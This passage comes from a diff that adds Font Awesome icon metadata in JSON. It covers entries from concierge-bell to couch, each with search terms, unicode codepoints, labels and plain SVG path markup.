4.7c-6.2-6.2-16.4-6.2-22.6 0L4.7 30.1c-6.2 6.2-6.2 16.4 0 22.6L104 152l-33 31.1C55.9 198.2 66.6 224 88 224h112c13.3 0 24-10.7 24-24V88c0-21.3-25.9-32-41-16.9z" + } + }, + "free": [ + "solid" + ] + }, + "concierge-bell": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "attention", + "hotel", + "receptionist", + "service", + "support" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f562", + "label": "Concierge Bell", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635430, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 130.54V112h16c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h16v18.54C115.49 146.11 32 239.18 32 352h448c0-112.82-83.49-205.89-192-221.46zM496 384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M288 130.54V112h16c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-96c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16h16v18.54C115.49 146.11 32 239.18 32 352h448c0-112.82-83.49-205.89-192-221.46zM496 384H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "confluence": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "atlassian" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f78d", + "label": "Confluence", + "voted": true, + "svg": { + "brands": { + "last_modified": 1546440860974, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z" + } + }, + "free": [ + "brands" + ] + }, + "connectdevelop": { + "changes": [ + "4.3", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f20e", + "label": "Connect Develop", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860974, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z" + } + }, + "free": [ + "brands" + ] + }, + "contao": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f26d", + "label": "Contao", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860975, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z" + } + }, + "free": [ + "brands" + ] + }, + "cookie": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "baked good", + "chips", + "chocolate", + "eat", + "snack", + "sweet", + "treat" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f563", + "label": "Cookie", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635432, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M510.37 254.79l-12.08-76.26a132.493 132.493 0 0 0-37.16-72.95l-54.76-54.75c-19.73-19.72-45.18-32.7-72.71-37.05l-76.7-12.15c-27.51-4.36-55.69.11-80.52 12.76L107.32 49.6a132.25 132.25 0 0 0-57.79 57.8l-35.1 68.88a132.602 132.602 0 0 0-12.82 80.94l12.08 76.27a132.493 132.493 0 0 0 37.16 72.95l54.76 54.75a132.087 132.087 0 0 0 72.71 37.05l76.7 12.14c27.51 4.36 55.69-.11 80.52-12.75l69.12-35.21a132.302 132.302 0 0 0 57.79-57.8l35.1-68.87c12.71-24.96 17.2-53.3 12.82-80.96zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M510.37 254.79l-12.08-76.26a132.493 132.493 0 0 0-37.16-72.95l-54.76-54.75c-19.73-19.72-45.18-32.7-72.71-37.05l-76.7-12.15c-27.51-4.36-55.69.11-80.52 12.76L107.32 49.6a132.25 132.25 0 0 0-57.79 57.8l-35.1 68.88a132.602 132.602 0 0 0-12.82 80.94l12.08 76.27a132.493 132.493 0 0 0 37.16 72.95l54.76 54.75a132.087 132.087 0 0 0 72.71 37.05l76.7 12.14c27.51 4.36 55.69-.11 80.52-12.75l69.12-35.21a132.302 132.302 0 0 0 57.79-57.8l35.1-68.87c12.71-24.96 17.2-53.3 12.82-80.96zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "cookie-bite": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "baked good", + "bitten", + "chips", + "chocolate", + "eat", + "snack", + "sweet", + "treat" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f564", + "label": "Cookie Bite", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635432, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M510.52 255.82c-69.97-.85-126.47-57.69-126.47-127.86-70.17 0-127-56.49-127.86-126.45-27.26-4.14-55.13.3-79.72 12.82l-69.13 35.22a132.221 132.221 0 0 0-57.79 57.81l-35.1 68.88a132.645 132.645 0 0 0-12.82 80.95l12.08 76.27a132.521 132.521 0 0 0 37.16 72.96l54.77 54.76a132.036 132.036 0 0 0 72.71 37.06l76.71 12.15c27.51 4.36 55.7-.11 80.53-12.76l69.13-35.21a132.273 132.273 0 0 0 57.79-57.81l35.1-68.88c12.56-24.64 17.01-52.58 12.91-79.91zM176 368c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm32-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm160 128c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" + } + }, + "free": [ + "solid" + ] + }, + "copy": { + "changes": [ + "2", + "5.0.0", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "clone", + "duplicate", + "file", + "files-o", + "paper", + "paste" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f0c5", + "label": "Copy", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635432, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M320 448v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V120c0-13.255 10.745-24 24-24h72v296c0 30.879 25.121 56 56 56h168zm0-344V0H152c-13.255 0-24 10.745-24 24v368c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24V128H344c-13.2 0-24-10.8-24-24zm120.971-31.029L375.029 7.029A24 24 0 0 0 358.059 0H352v96h96v-6.059a24 24 0 0 0-7.029-16.97z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M320 448v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V120c0-13.255 10.745-24 24-24h72v296c0 30.879 25.121 56 56 56h168zm0-344V0H152c-13.255 0-24 10.745-24 24v368c0 13.255 10.745 24 24 24h272c13.255 0 24-10.745 24-24V128H344c-13.2 0-24-10.8-24-24zm120.971-31.029L375.029 7.029A24 24 0 0 0 358.059 0H352v96h96v-6.059a24 24 0 0 0-7.029-16.97z" + }, + "regular": { + "last_modified": 1628088634760, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "copyright": { + "changes": [ + "4.2", + "5.0.0", + "5.10.1", + "5.10.2" + ], + "ligatures": [], + "search": { + "terms": [ + "brand", + "mark", + "register", + "trademark" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f1f9", + "label": "Copyright", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635433, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm117.134 346.753c-1.592 1.867-39.776 45.731-109.851 45.731-84.692 0-144.484-63.26-144.484-145.567 0-81.303 62.004-143.401 143.762-143.401 66.957 0 101.965 37.315 103.422 38.904a12 12 0 0 1 1.238 14.623l-22.38 34.655c-4.049 6.267-12.774 7.351-18.234 2.295-.233-.214-26.529-23.88-61.88-23.88-46.116 0-73.916 33.575-73.916 76.082 0 39.602 25.514 79.692 74.277 79.692 38.697 0 65.28-28.338 65.544-28.625 5.132-5.565 14.059-5.033 18.508 1.053l24.547 33.572a12.001 12.001 0 0 1-.553 14.866z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm117.134 346.753c-1.592 1.867-39.776 45.731-109.851 45.731-84.692 0-144.484-63.26-144.484-145.567 0-81.303 62.004-143.401 143.762-143.401 66.957 0 101.965 37.315 103.422 38.904a12 12 0 0 1 1.238 14.623l-22.38 34.655c-4.049 6.267-12.774 7.351-18.234 2.295-.233-.214-26.529-23.88-61.88-23.88-46.116 0-73.916 33.575-73.916 76.082 0 39.602 25.514 79.692 74.277 79.692 38.697 0 65.28-28.338 65.544-28.625 5.132-5.565 14.059-5.033 18.508 1.053l24.547 33.572a12.001 12.001 0 0 1-.553 14.866z" + }, + "regular": { + "last_modified": 1628088634760, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm107.351-101.064c-9.614 9.712-45.53 41.396-104.065 41.396-82.43 0-140.484-61.425-140.484-141.567 0-79.152 60.275-139.401 139.762-139.401 55.531 0 88.738 26.62 97.593 34.779a11.965 11.965 0 0 1 1.936 15.322l-18.155 28.113c-3.841 5.95-11.966 7.282-17.499 2.921-8.595-6.776-31.814-22.538-61.708-22.538-48.303 0-77.916 35.33-77.916 80.082 0 41.589 26.888 83.692 78.277 83.692 32.657 0 56.843-19.039 65.726-27.225 5.27-4.857 13.596-4.039 17.82 1.738l19.865 27.17a11.947 11.947 0 0 1-1.152 15.518z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm107.351-101.064c-9.614 9.712-45.53 41.396-104.065 41.396-82.43 0-140.484-61.425-140.484-141.567 0-79.152 60.275-139.401 139.762-139.401 55.531 0 88.738 26.62 97.593 34.779a11.965 11.965 0 0 1 1.936 15.322l-18.155 28.113c-3.841 5.95-11.966 7.282-17.499 2.921-8.595-6.776-31.814-22.538-61.708-22.538-48.303 0-77.916 35.33-77.916 80.082 0 41.589 26.888 83.692 78.277 83.692 32.657 0 56.843-19.039 65.726-27.225 5.27-4.857 13.596-4.039 17.82 1.738l19.865 27.17a11.947 11.947 0 0 1-1.152 15.518z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "cotton-bureau": { + "changes": [ + "5.10.0" + ], + "ligatures": [], + "search": { + "terms": [ + "clothing", + "t-shirts", + "tshirts" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f89e", + "label": "Cotton Bureau", + "svg": { + "brands": { + "last_modified": 1567694055624, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z" + } + }, + "free": [ + "brands" + ] + }, + "couch": { + "changes": [ + "5.0.9" + ], + "ligatures": [], + "search": { + "terms": [ + "chair", + "cushion", + 